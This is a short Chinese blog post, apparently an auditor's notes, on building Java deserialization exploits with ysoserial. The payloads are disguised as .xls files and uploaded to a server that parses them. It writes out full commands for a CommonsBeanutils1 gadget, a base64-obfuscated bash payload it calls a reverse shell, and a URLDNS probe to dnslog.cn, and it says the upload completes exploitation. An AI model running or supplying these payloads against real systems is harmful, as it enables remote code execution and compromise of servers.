使用ysoserial生成反序列化payload文件

某次对业务进行审计发现存在一处反序列化漏洞(该漏洞形成的原因是会对上传文件引擎进行解析)

省去敏感部分,只记录一下过程。

可以直接通过github下载ysoserial-0.0.7-SNAPSHOT-all.jar

ysoserial-0.0.7-SNAPSHOT-all.jar支持多个生成payload的选项

具体适配哪个payload,还需要查看源码(如果有的情况下,没有源码的情况下只能逐个去尝试)

例如:

对应的是:

commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2

这块可以通过配置找到:(一般在pom.xml或者libraries.gradle文件配置里)

生成payload文件命令语法

java -jar ysoserial-0.0.7-SNAPSHOT-all.jar CommonsBeanutils1 “curl http://127.0.0.1:4444” > java.xls

生成反弹shell命令

一般要base64编码,也可以直接通过这个网站生成:https://www.sqlsec.com/tools.html

java -jar ysoserial-0.0.7-SNAPSHOT-all.jar CommonsBeanutils1 “bash -c {echo,Y3VybCBodHRwOi8vMTI3LjAuMC4xOjQ0NDQ=}|{base64,-d}|{bash,-i}” > javatest.xls

最后将对应生成带反序列化payload的文件上传到服务器就可以完成利用。

如果仅仅想判断漏洞存在而不利用,不考虑引入包的情况,也可以使用:URLDNS

java -jar ysoserial-0.0.7-SNAPSHOT-all.jar URLDNS “http://dnslog.cn” > java.xls

采坑记录:powershell生成的payload可能因为单双引号等问题,会不成功,推荐通过cmd来生成。

发表评论

您的电子邮箱地址不会被公开。